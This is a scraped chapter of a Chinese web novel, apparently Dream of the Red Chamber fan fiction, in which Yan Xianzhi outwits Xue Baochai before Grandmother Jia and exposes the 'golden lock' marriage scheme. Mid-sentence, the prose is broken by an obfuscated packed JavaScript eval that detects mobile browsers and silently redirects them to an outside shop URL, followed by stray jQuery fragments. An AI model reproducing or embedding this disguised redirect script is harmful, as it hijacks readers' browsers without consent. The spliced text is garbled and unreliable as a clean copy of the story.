默认冷灰
24号文字
方正启体

14. 交锋

作者:叶鹂声本书字数:K更新时间:
    燕衔枝微笑,朝薛宝钗望去一眼。


    这位宝姑娘好为人师的性子,她不是不知道,只是没想到她竟教到自己头上来。


    若薛宝钗是真心待她,燕衔枝虽不喜欢听这样的话,也不至于要给人难堪。


    但,薛宝钗是吗?


    燕衔枝唇角的笑意微冷。


    人情练达如薛宝钗,竟选择在贾母面前“揭人之短”,还将故意将问题抛给贾母。


    她想从贾母口中得到什么样的答案?


    总不会是盼着贾母夸燕家姑娘懂学问,骂她多管闲事吧?


    她这是分明拿燕衔枝当踏脚石,向贾母展示自己有多贤惠本分呢。


    燕衔枝偏不让她如愿,便敛起笑意。


    “薛姑娘这话,未免也太想当然了,天下的女子未必都要学你薛家。”


    “听薛姑娘言谈,定是见多识广之人,可曾听说过御赐‘弘文才女’的名号?”


    薛宝钗淡然一笑,只当燕衔枝试图借山老夫人的美名,为自己脸上贴金。


    这等小伎俩,如何瞒得过她的眼睛?


    “自然是听说过的。”


    “我记得,山老夫人之母怀妊之时,曾梦瑶星入腹,后来生女,果然聪敏异常,可见命中不凡之人,出生之时必有异象,便不苦读诗书,将来亦能满腹经纶,扬名天下。”


    “咱们这等肉体凡胎,如何与山老夫人相提并论?自然只好谨守闺阁,专心纺绩。”


    薛宝钗不露声色地暗赞了宝玉一句,果然看见贾母脸上的笑容深了几分。


    以她的聪明,想要讨贾母欢心简直轻而易举。


    就算林姑娘是亲外孙女,假以时日,她未必不能取而代之,成为贾母心目中最合适的宝二奶奶的人选。


    不过,嫁给宝玉并不是她的首选。


    薛宝钗真正希望的,还是能够青云直上,凭自己的本事匡扶起薛家。


    可惜身为女子,她并没有参加科举的机会,也只能在宫闱之中挣个前程了。


    薛宝钗正沉浸想象之中,忽然听见燕衔枝凉凉道:


    “我就说薛姑娘想当然,姑娘还不愿意承认,你口中的山老夫人便是我的祖母,难道姑娘比我更了解她老人家?”


    “再者,叫我人前不必遮掩,该说什么就说什么的正是祖母,我不听她老人家的话,难道听一个非亲非故的外人教训我?”


    薛宝钗脸色陡然间涨红,眼神颤了又颤,放在膝上的手攥紧了裙摆,深恨自己口快。


    可是谁又能想到,堂堂燕阁老的孙女,竟然也会攀附沾亲带故的公侯府邸?


    薛宝钗不是不知道,山老夫人当初嫁给了一位姓燕的状元。


    但她根本就没觉得,燕衔枝会同燕阁老有关系。


    天底下同姓的人多了去,难道都一定是一家人吗?


    知道了这个,薛宝钗才后知后觉地反应过来,贾母刚才的话和表情究竟是什么意思。


    老太太显然是早就知道燕衔枝的身份,在看她的笑话!


    她方才的小心思,落在贾母的眼中,只怕都成了聪明反被聪明误!


    事到如今,就算明知是自己莽撞了,薛宝钗也得把场面找补回来。


    “燕姑娘身份固然不俗,可我也不是无的放矢,读书作文始终是男子的事,姑娘放着女子该做的事不做,却去做男人该做的事,到底是有些不妥吧!”


    “我是一片好心劝姑娘,燕姑娘就算不高兴,也不必这般冷嘲热讽的。”


    燕衔枝微微一笑:“听姑娘的意思,竟是一心为我好了。”


    “那我请问姑娘,倘若一个男子,该读书而不去读书,整日家欺男霸女,目无王法,姑娘觉得他务不务正业,该不该劝劝?”


    薛宝钗正要回答,忽然一怔。


    燕衔枝话里的人,怎么好像有些耳熟?


    她忽地反应过来,心被狠狠一拧。


    燕衔枝莫非是暗讽薛蟠?


    不,这不可能。


    薛家和燕家素来没有交集,燕衔枝怎么可能知道薛蟠平日的举动呢?


    薛宝钗自己都从未听过燕衔枝的名字,燕衔枝又怎么可能认识薛家的人?


    所以,燕衔枝根本没可能在讽刺她,这一定只是巧合。


    薛宝钗定了定神。


    “大丈夫志在天下,若是一个男子有条件读书而不读书,自然还是该劝的。”


    “不过男女之间不比姊妹相处,这种事也只有亲近之人才能开口。”


    她试图暗示贾母,若她和宝玉关系亲近,她自然也会想办法规劝宝玉。


    宝玉出生之奇,个性之顽劣,她可是常听姨母提起。


    想要投贾母所好,简直是易如反掌。


    出身暂且不论,说到底,她薛宝钗才是世家大族最需要的那种贤惠女子。


    燕衔枝看着薛宝钗,唇角的笑深了几分:


    “若说亲近,一母所出的亲兄妹够亲近了吧,薛大爷却也没怎么听薛姑娘的话呢。”


    “薛姑娘有劝外人的心思,怎么不分一半在令兄身上?”


    “论理,这话也不该我说,但我想薛大姑娘定不是那等有己无人的,姑娘既然开口劝我,总不会不容我劝你几句吧!”


    “当年上皇在位之时,文章名公有王、唐、瞿、薛四大家①,俱是才高八斗,鼎鼎大名,这之中的薛大家难道不是尊祖?”


    “如今其他三位大家后世读书香火不绝,世代有子弟登科,独你薛家沦落皇商之流,岂不可悲可叹?你不想着劝尊兄走正途,盯着别人家的姑娘读不读书做什么!”


    薛宝钗攥着裙子的手都微微发抖,脸色由红转白,竟隐隐泛起黄来。


    贾母暗暗看一眼燕衔枝,唇角笑意更浓。


    她先前不喜这燕家姑娘,但此刻倒是看人顺眼了不少。


    这真是卤水点豆腐,一物降一物!


    贾母没想到,燕衔枝竟真有这些见识,张口便说出薛家祖上成就,又知薛宝钗兄长做派,竟将这位贤良淑德的薛大姑娘堵得一个字也说不出口!


    薛宝钗深吸一口气,拼了命才压住声调里的颤音。


    “姑娘说这话,我怎么不懂?我同姑娘萍水相逢,姑娘为何说得好像十分熟悉我家兄长品性一般?”


    “燕姑娘虽是一片好心,却也不必这般交浅言深吧!”


    黛玉听到这里,实在忍不住,不冷不热地刺了一句。


    “原来薛姑娘知道什么叫交浅言深!”


    薛宝钗摆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074992|195248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开架势教训燕衔枝的时候,怎么不想着“交浅言深”了?


    薛宝钗冷笑一声:“那也不及这位燕姑娘,说起家兄的事竟是如数家珍,连我都给姑娘比下去了!”


    “我只是想不明白一件事,非亲非故的,姑娘将我哥哥打听得这般清楚做什么?倒是难为燕姑娘,在我哥哥身上这般费心!”


    燕衔枝眨了眨眼,微笑。


    “我不过是在长辈的书信里瞧见过薛大爷的种种行径罢了,原来这就叫用心了?”


    “我还以为,真正的用心是听说人家有玉,巴巴地弄了金子要配上;听说人家玉上有字,又找了什么和尚道士弄了八个字凑成一对儿,说是什么金玉良缘,这样才算得上用心呢。”


    一番话说完,薛宝钗眼前阵阵发黑,贾母倒是坐正了身子,脸色铁青。


    “燕丫头,你说的可都是真的?”


    燕衔枝微微一笑。


    “是与不是,老太太亲自瞧瞧就是了,人家的心思金灿灿明晃晃挂在脖子上,倒来说我在她哥哥身上用心了。”


    薛宝钗下意识地按住胸口,又后知后觉地发现自己的动作太显眼,已经引得贾母看过来,只能底气不足地辩解。


    “这原是个癞头和尚给的吉祥话,叫錾在金器上能保平安,所以才……”


    燕衔枝到底是怎么知道这件事的!


    贾母冷冷盯着薛宝钗,目光中不复方才看戏时的玩味。


    薛家的心思,她老人家不是不知道,薛宝钗上蹿下跳使些小女儿手段,贾母全当不知道,横竖王夫人不在,薛宝钗也掀不起什么浪花,只当是茶余饭后的消遣。


    但薛家若使这种招数,贾母可容不下!


    金玉良缘的说法一传出去,宝玉的红线岂不是就死死拴在薛宝钗的身上了?


    贾母冷冷一笑,示意薛宝钗:“这么精巧的玩意儿,我老太太也没见过,宝丫头,把你那项圈借我瞧两天吧?”


    薛宝钗心里刀割一般,这本是她和母亲商议好的退路,若真的进宫不成,又不得贾母欢心,就造出金玉良缘的说法,让贾宝玉别无选择。


    谁知这件事竟会被燕衔枝说破!


    她的项圈一向贴身带着,想要抵赖也无从下手,总不能把项圈上的字变没吧!


    薛宝钗无可奈何,只能从领口将项圈解下,含泪交给了鸳鸯。


    鸳鸯略看了一眼,见果真如燕衔枝所言一般,心下微惊,又递给贾母,暗地里朝贾母点一点头,贾母见状,心下沉得如坠了石头一般。


    “宝丫头,你这项圈且在我老太太这里把玩几日,等看够了,自然还给你的。”


    贾母皮笑肉不笑地盯着薛宝钗,薛宝钗到此时亦是无可奈何,硬挤出一个笑脸来。


    “是,老太太既喜欢,多玩些日子也使得。”


    一旁,三春姊妹各各对视一眼,心底里都有阴影。


    先前闲话之时,听燕衔枝话里那般不客气,薛宝钗却言语有度,深明大义,三春姊妹心里是有些向着她的,可说着说着,抖出项圈这事来,真真是打了她们一个措手不及。


    迎春木讷,惜春还小,都只知道后怕,探春冷眼瞧着这位薛大姑娘,在心底暗忖。


    这才叫知人知面不知心呢!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)